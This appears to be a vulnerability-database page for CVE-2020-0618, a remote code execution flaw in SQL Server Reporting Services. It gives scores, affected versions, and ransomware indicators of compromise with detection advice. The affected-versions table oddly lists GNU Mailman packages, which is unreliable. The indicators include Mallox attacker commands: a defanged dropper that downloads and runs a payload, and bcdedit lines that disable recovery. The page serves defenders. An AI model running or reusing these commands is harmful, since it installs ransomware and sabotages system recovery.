cbcvebase.
CVE-2020-0618
published 2020-02-11

CVE-2020-0618: A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests, aka 'Microsoft SQL Server…

PriorityP196high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
KEVITWEXPLOITRansomware
CISA Known Exploited Vulnerabilitydue 2024-10-09
Exploited in the wild
EPSS
99.02%
99.9th percentile
A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests, aka 'Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability'.

Affected

16 ranges
VendorProductVersion rangeFixed in
gnumailman>= 0 < 1:2.1.20-1ubuntu0.41:2.1.20-1ubuntu0.4
gnumailman>= 0 < 1:2.1.26-1ubuntu0.11:2.1.26-1ubuntu0.1
microsoftmicrosoft_sql_server——
microsoftmicrosoft_sql_server——
microsoftmicrosoft_sql_server——
microsoftmicrosoft_sql_server_2014_service_pack_3_for_32-bit_systems——
microsoftmicrosoft_sql_server_2014_service_pack_3_for_x64-based_systems——
microsoftmicrosoft_sql_server_2016_for_x64-based_systems_service_pack_2——
microsoftsql_server——
microsoftsql_server——
microsoftsql_server——
msrcmicrosoft_sql_server_2012_for_32-bit_systems_service_pack_4——
msrcmicrosoft_sql_server_2012_for_x64-based_systems_service_pack_4——
msrcmicrosoft_sql_server_2014_service_pack_3_for_32-bit_systems——
msrcmicrosoft_sql_server_2014_service_pack_3_for_x64-based_systems——
msrcmicrosoft_sql_server_2016_for_x64-based_systems_service_pack_2——

Detection & IOCsextracted from sources · hover to see the quote

hash3d434b7cc9589c43d986bf0e1cadb956391b5f9a↗
hash9295a02c49aa50475aa7876ca80b3081a361ff7d↗
hash3fa79012dfdac626a19017ed6974316df13bc6ff↗
hash7e7957d7e7fd7c27b9fb903a0828b09cbb44c196↗
hash08a236455490d5246a880821ba33108c4ef00047↗
hash0d2711c5f8eb84bd9915a4191999afd46abca67a↗
hash0e45e8a5b25c756f743445f0317c6352d3c8040a↗
hash11d7779e77531eb27831e65c32798405746ccea1↗
hash246e7f798c3bfba81639384a58fa94174a08be80↗
hash273e40d0925af9ad6ca6d1c6a9d8e669a3bdc376↗
hash2a6f632ab771e7da8c551111e2df786979fd895d↗
hash2c49fa21b0a8415994412fe30e023907f8a7b46e↗
hash33c24486f41c3948fbd761e6f55210807af59a1f↗
hash4c863df8ea7446cb7fba6e582959bc3097f92b5c↗
hash4fcfb65cb757c83ed91bc01b3f663072a52da54b↗
hash5229a5d56836c3d3fc7fb12a43a431b5c90f771d↗
hash552862af77b204ac1f69b9e25937cc60e30e6c0f↗
hash5d0b9521cca0c911d49162e7f416a1463fbaefae↗
hash5d9cc0bc652b1d21858d2e4ddd35303cd9aeb2a3↗
hash63408c84c5d642cf1c5b643a97b84e22e18323c0↗
hash643918830b87691422d6d7bd669c408679411303↗
hash65d7cb5f1770b77b047baf376bd6b4cf86c5d42c↗
hash88eef50d85157f2e0552aab07cac7e7ec21680f5↗
hash88f8629423efe84e2935eb71d292e194be951a16↗
hash9d182e17f88e26cb0928e8d07d6544c2d17e99f5↗
hasha8886c9417b648944d2afd6b6c4941588d670e3c↗
hashdb3fd39fc826e87fa70840e86d5c12eef0fe0566↗
hashee15c76e07051c10059a14e03d18a6358966e290↗
hashfb05a6fafc28194d011a909d946b3efa64cdb4cf↗
domainwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion↗
ip104.21.76.77↗
ip104.237.62.211↗
ip172.67.191.103↗
ip64.185.227.155↗
ip80.66.75.37↗
filenameupdt.ps1↗
filenameKill-Delete.bat↗
filenameBwmeldokiller.bat↗
path%TEMP%\updt.ps1↗
commandbcdedit.exe /set {current} bootstatuspolicy ignoreallfailures↗
commandbcdedit.exe /set {current} recoveryenabled no↗
commandcmd.exe /C "echo $cl = New-Object System.Net.WebClient >%APPDATA%\alta.ps1 & echo $cl.DownloadFile("hxxp[:]///scavenger.exe", "%APPDATA%\box.bat") >> %APPDATA%\alta.ps1 & sqlps -ExecutionPolicy Bypass %APPDATA%\alta.ps1 & WMIC process call create "%APPDATA%\box.bat""↗
  • →CVE-2020-0618 is exploited via the MS SQL Server Reporting Services (SSRS) page request handler; monitor for anomalous SSRS process spawning child processes (e.g., cmd.exe, powershell.exe) as an indicator of exploitation. ↗
  • →Post-exploitation dropper pattern: SQL Server process (sqlservr.exe or sqlps) spawning PowerShell with '-ExecutionPolicy Bypass' writing a script to %TEMP% or %APPDATA%, followed by WMIC process creation — strongly indicative of Mallox initial-stage execution after CVE-2020-0618 exploitation. ↗
  • →Detect ransomware defense-evasion via BCD tampering: alert on execution of 'bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures' and 'bcdedit.exe /set {current} recoveryenabled no' from non-administrative maintenance contexts. ↗
  • →Hunt for creation of 'updt.ps1' in %TEMP% by SQL Server-related processes; this script is used to download and execute the Mallox ransomware payload. ↗
  • →Network detections: block or alert on outbound connections to Mallox C2/distribution IPs 104.21.76.77, 104.237.62.211, 172.67.191.103, 64.185.227.155, 80.66.75.37 and the Tor onion DLS domain. ↗
  • ·CVE-2020-0618 affects Microsoft SQL Server Reporting Services (SSRS) versions 2012–2016 only; SQL Server database engine instances without SSRS exposed are not directly vulnerable to this specific CVE. ↗
  • ·Mallox actors also use brute-force and dictionary attacks against MS-SQL in addition to CVE-2020-0618 exploitation; patching SSRS alone does not eliminate the Mallox initial-access risk if weak credentials remain. ↗
  • ·The download URL pattern in the observed command (hXXp://80[.]66.75.40/...) is partially redacted/defanged in the source; the exact payload path is obfuscated and should not be treated as a static URL IOC. ↗

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
osv5.4MEDIUM
vulncheck8.8HIGH
cisa8.8HIGH
vendor_msrc8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.